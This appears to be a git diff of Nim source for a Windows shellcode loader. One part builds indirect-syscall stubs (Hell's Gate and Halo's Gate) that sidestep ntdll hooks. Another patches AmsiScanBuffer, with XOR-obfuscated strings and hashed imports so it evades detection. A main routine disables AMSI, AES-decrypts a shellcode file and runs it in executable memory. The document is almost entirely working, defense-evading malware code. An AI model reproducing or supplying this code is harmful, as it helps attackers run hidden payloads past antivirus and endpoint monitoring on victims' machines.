ObjectAttributes: PVOID;
|
||||
ProcessHandle: HANDLE;
|
||||
StartRoutine: PVOID;
|
||||
Argument: PVOID;
|
||||
CreateFlags: ULONG;
|
||||
ZeroBits: SIZE_T;
|
||||
StackSize: SIZE_T;
|
||||
MaximumStackSize: SIZE_T;
|
||||
AttributeList: PVOID): NTSTATUS {.stdcall.}
|
||||
|
||||
NtWaitForSingleObjectFn* = proc(
|
||||
Handle: HANDLE;
|
||||
Alertable: BOOL;
|
||||
Timeout: PVOID): NTSTATUS {.stdcall.}
|
||||
|
||||
SyscallTable* = object
|
||||
NtAllocateVirtualMemory*: NtAllocateVirtualMemoryFn
|
||||
NtProtectVirtualMemory*: NtProtectVirtualMemoryFn
|
||||
NtCreateThreadEx*: NtCreateThreadExFn
|
||||
NtWaitForSingleObject*: NtWaitForSingleObjectFn
|
||||
|
||||
type ExportEntry = object
|
||||
name: string
|
||||
rva: uint32
|
||||
|
||||
proc getNtExports(base: pointer): seq[ExportEntry] =
|
||||
let dos = cast[ptr IMAGE_DOS_HEADER](base)
|
||||
let nth = cast[ptr IMAGE_NT_HEADERS64](
|
||||
cast[uint](base) + uint(dos.e_lfanew))
|
||||
let edt = cast[ptr IMAGE_EXPORT_DIRECTORY](
|
||||
cast[uint](base) + uint(
|
||||
nth.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress))
|
||||
let names = cast[ptr UncheckedArray[uint32]](
|
||||
cast[uint](base) + uint(edt.AddressOfNames))
|
||||
let ords = cast[ptr UncheckedArray[uint16]](
|
||||
cast[uint](base) + uint(edt.AddressOfNameOrdinals))
|
||||
let funcs = cast[ptr UncheckedArray[uint32]](
|
||||
cast[uint](base) + uint(edt.AddressOfFunctions))
|
||||
for i in 0 ..< int(edt.NumberOfNames):
|
||||
let n = $cast[cstring](cast[uint](base) + uint(names[i]))
|
||||
if n.len > 2 and n[0] == 'N' and n[1] == 't':
|
||||
result.add(ExportEntry(name: n, rva: funcs[ords[i]]))
|
||||
|
||||
template isClean(p: ptr UncheckedArray[byte]): bool =
|
||||
p[0] == 0x4C and p[1] == 0x8B and p[2] == 0xD1 and p[3] == 0xB8
|
||||
|
||||
template readSsn(p: ptr UncheckedArray[byte]): uint16 =
|
||||
uint16(p[4]) or (uint16(p[5]) shl 8)
|
||||
|
||||
# Scan the first unhooked Nt* stub for 0F 05 C3 (syscall; ret).
|
||||
# Returns the address of that byte sequence inside ntdll's .text.
|
||||
proc findGadget(base: pointer; sorted: seq[ExportEntry]): uint64 =
|
||||
for e in sorted:
|
||||
let p = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(e.rva))
|
||||
if not p.isClean: continue
|
||||
for i in 0 ..< 32:
|
||||
if p[i] == 0x0F and p[i+1] == 0x05 and p[i+2] == 0xC3:
|
||||
return cast[uint64](cast[uint](p) + uint(i))
|
||||
ExitProcess(1)
|
||||
|
||||
# Hell's Gate + Halo's Gate — sorted by RVA so SSNs increment by 1 per step.
|
||||
proc getSsn(base: pointer; sorted: seq[ExportEntry]; name: string): uint16 =
|
||||
var idx = -1
|
||||
for i, e in sorted:
|
||||
if e.name == name:
|
||||
idx = i; break
|
||||
if idx < 0: ExitProcess(1)
|
||||
|
||||
let fn = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(sorted[idx].rva))
|
||||
if fn.isClean:
|
||||
return fn.readSsn
|
||||
|
||||
for d in 1 .. sorted.len:
|
||||
if idx - d >= 0:
|
||||
let nb = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(sorted[idx - d].rva))
|
||||
if nb.isClean:
|
||||
return nb.readSsn + uint16(d)
|
||||
if idx + d < sorted.len:
|
||||
let nb = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(sorted[idx + d].rva))
|
||||
if nb.isClean:
|
||||
return nb.readSsn - uint16(d)
|
||||
|
||||
ExitProcess(1)
|
||||
|
||||
proc writeStub(page: pointer; slot: int; ssn: uint16; gadget: uint64): pointer =
|
||||
let p = cast[ptr UncheckedArray[byte]](cast[uint](page) + uint(slot * STUB_SIZE))
|
||||
p[0] = 0x4C; p[1] = 0x8B; p[2] = 0xD1 # mov r10, rcx
|
||||
p[3] = 0xB8 # mov eax, imm32
|
||||
p[4] = byte(ssn and 0xFF)
|
||||
p[5] = byte(ssn shr 8)
|
||||
p[6] = 0x00; p[7] = 0x00
|
||||
p[8] = 0xFF; p[9] = 0x25 # jmp qword ptr [rip+0]
|
||||
p[10] = 0x00; p[11] = 0x00
|
||||
p[12] = 0x00; p[13] = 0x00
|
||||
cast[ptr uint64](addr p[14])[] = gadget # gadget address at [rip+0]
|
||||
return cast[pointer](p)
|
||||
|
||||
proc initSyscalls*(): SyscallTable =
|
||||
let ntdll = cast[pointer](GetModuleHandleA("ntdll"))
|
||||
|
||||
var exports = getNtExports(ntdll)
|
||||
exports.sort(proc(a, b: ExportEntry): int = cmp(a.rva, b.rva))
|
||||
|
||||
let gadget = findGadget(ntdll, exports)
|
||||
|
||||
let page = VirtualAlloc(nil, 4096, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
||||
if page == nil: ExitProcess(1)
|
||||
|
||||
result.NtAllocateVirtualMemory = cast[NtAllocateVirtualMemoryFn](
|
||||
writeStub(page, 0, getSsn(ntdll, exports, "NtAllocateVirtualMemory"), gadget))
|
||||
result.NtProtectVirtualMemory = cast[NtProtectVirtualMemoryFn](
|
||||
writeStub(page, 1, getSsn(ntdll, exports, "NtProtectVirtualMemory"), gadget))
|
||||
result.NtCreateThreadEx = cast[NtCreateThreadExFn](
|
||||
writeStub(page, 2, getSsn(ntdll, exports, "NtCreateThreadEx"), gadget))
|
||||
result.NtWaitForSingleObject = cast[NtWaitForSingleObjectFn](
|
||||
writeStub(page, 3, getSsn(ntdll, exports, "NtWaitForSingleObject"), gadget))
|
||||
|
||||
var old: DWORD = 0
|
||||
discard VirtualProtect(page, 4096, PAGE_EXECUTE_READ, addr old)
|
||||
@@ -0,0 +1,86 @@
|
||||
import winim/lean
|
||||
import std/strutils
|
||||
|
||||
# Random XOR key generated at compile time via shell - different every build
|
||||
const xorKey = static:
|
||||
let (o, rc) = gorgeEx("python3 -c 'import secrets; print(secrets.randbelow(254)+1)'")
|
||||
if rc == 0: uint8(o.strip().parseInt)
|
||||
else:
|
||||
# fallback: derive from compile timestamp so it still varies per build
|
||||
let t = CompileTime
|
||||
(uint8(ord(t[0])) xor uint8(ord(t[3])) xor uint8(ord(t[6]))) or 1'u8
|
||||
|
||||
proc encodeBytes(s: static string): seq[uint8] {.compileTime.} =
|
||||
result = newSeq[uint8](s.len)
|
||||
for i, c in s:
|
||||
result[i] = uint8(ord(c)) xor xorKey
|
||||
|
||||
# "amsi.dll" stored XOR'd - never plaintext in the binary
|
||||
const encDll = encodeBytes("amsi.dll")
|
||||
|
||||
# Patch bytes: xor eax, eax (0x31 0xC0) ; ret (0xC3)
|
||||
# Stored XOR'd - different raw bytes every build
|
||||
const encPatch = [
|
||||
uint8(0x31) xor xorKey,
|
||||
uint8(0xC0) xor xorKey,
|
||||
uint8(0xC3) xor xorKey,
|
||||
]
|
||||
|
||||
proc decodeStr(enc: openArray[uint8]): string =
|
||||
result = newString(enc.len)
|
||||
for i, b in enc:
|
||||
result[i] = char(b xor xorKey)
|
||||
|
||||
# FNV-1a constants
|
||||
const
|
||||
fnvBasis = 0xcbf29ce484222325'u64
|
||||
fnvPrime = 0x100000000001b3'u64
|
||||
|
||||
# Hash of "AmsiScanBuffer" computed at compile time - string never in binary
|
||||
const scanHash = static:
|
||||
var h = fnvBasis
|
||||
for c in "AmsiScanBuffer":
|
||||
h = (h xor uint64(ord(c))) * fnvPrime
|
||||
h
|
||||
|
||||
proc hashExport(p: ptr UncheckedArray[uint8]): uint64 =
|
||||
result = fnvBasis
|
||||
var i = 0
|
||||
while p[i] != 0:
|
||||
result = (result xor uint64(p[i])) * fnvPrime
|
||||
inc i
|
||||
|
||||
proc findByHash(base: uint, target: uint64): pointer =
|
||||
let dos = cast[ptr IMAGE_DOS_HEADER](base)
|
||||
let nt = cast[ptr IMAGE_NT_HEADERS64](base + uint(dos.e_lfanew))
|
||||
let expRva = uint(nt.OptionalHeader.DataDirectory[0].VirtualAddress)
|
||||
if expRva == 0: return nil
|
||||
|
||||
let exp = cast[ptr IMAGE_EXPORT_DIRECTORY](base + expRva)
|
||||
let names = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfNames))
|
||||
let ords = cast[ptr UncheckedArray[WORD]](base + uint(exp.AddressOfNameOrdinals))
|
||||
let fns = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfFunctions))
|
||||
|
||||
for i in 0 ..< int(exp.NumberOfNames):
|
||||
let namePtr = cast[ptr UncheckedArray[uint8]](base + uint(names[i]))
|
||||
if hashExport(namePtr) == target:
|
||||
return cast[pointer](base + uint(fns[ords[i]]))
|
||||
return nil
|
||||
|
||||
proc patchAmsi*() =
|
||||
let dllName = decodeStr(encDll)
|
||||
let hAmsi = cast[uint](LoadLibraryA(dllName))
|
||||
if hAmsi == 0: return
|
||||
|
||||
let fn = findByHash(hAmsi, scanHash)
|
||||
if fn == nil: return
|
||||
|
||||
var old: DWORD = 0
|
||||
discard VirtualProtect(fn, 3, PAGE_EXECUTE_READWRITE, addr old)
|
||||
|
||||
let p = cast[ptr UncheckedArray[uint8]](fn)
|
||||
p[0] = encPatch[0] xor xorKey
|
||||
p[1] = encPatch[1] xor xorKey
|
||||
p[2] = encPatch[2] xor xorKey
|
||||
|
||||
discard VirtualProtect(fn, 3, old, addr old)
|
||||
@@ -0,0 +1,70 @@
|
||||
import winim
|
||||
import std/os
|
||||
import std/strutils
|
||||
import amsi
|
||||
|
||||
proc aesDecrypt(data: var seq[byte]; key, iv: openArray[byte]) =
|
||||
var
|
||||
hAlg: BCRYPT_ALG_HANDLE = nil
|
||||
hKey: BCRYPT_KEY_HANDLE = nil
|
||||
cbResult: ULONG = 0
|
||||
ivCopy = newSeq[byte](iv.len)
|
||||
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
|
||||
|
||||
discard BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
|
||||
var cbcMode = BCRYPT_CHAIN_MODE_CBC
|
||||
discard BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||
cast[PUCHAR](addr cbcMode), ULONG(sizeof(cbcMode)), 0)
|
||||
discard BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
|
||||
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
|
||||
discard BCryptDecrypt(hKey,
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len), nil,
|
||||
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len),
|
||||
addr cbResult, 0)
|
||||
BCryptDestroyKey(hKey)
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0)
|
||||
data.setLen(cbResult.int)
|
||||
|
||||
proc parseHexBytes(s: string): seq[byte] =
|
||||
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
|
||||
result = newSeq[byte](clean.len div 2)
|
||||
for i in 0 ..< result.len:
|
||||
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
|
||||
|
||||
proc main() =
|
||||
patchAmsi()
|
||||
|
||||
if paramCount() < 1:
|
||||
quit(1)
|
||||
|
||||
let filename = paramStr(1)
|
||||
|
||||
var f: File
|
||||
if not open(f, filename, fmRead):
|
||||
quit(1)
|
||||
|
||||
let size = f.getFileSize().int
|
||||
var shellcode = newSeq[byte](size)
|
||||
discard f.readBuffer(addr shellcode[0], size)
|
||||
f.close()
|
||||
|
||||
if paramCount() >= 3:
|
||||
let key = parseHexBytes(paramStr(2))
|
||||
let iv = parseHexBytes(paramStr(3))
|
||||
if key.len != 32 or iv.len != 16:
|
||||
quit(1)
|
||||
aesDecrypt(shellcode, key, iv)
|
||||
|
||||
let buf = VirtualAlloc(nil, SIZE_T(shellcode.len),
|
||||
MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
||||
if buf == nil: quit(1)
|
||||
|
||||
copyMem(buf, addr shellcode[0], shellcode.len)
|
||||
|
||||
var oldProtect: DWORD = 0
|
||||
discard VirtualProtect(buf, SIZE_T(shellcode.len), PAGE_EXECUTE_READ, addr oldProtect)
|
||||
|
||||
cast[proc() {.cdecl.}](buf)()
|
||||
|
||||
main()
|
||||
Reference in New Issue
Block a user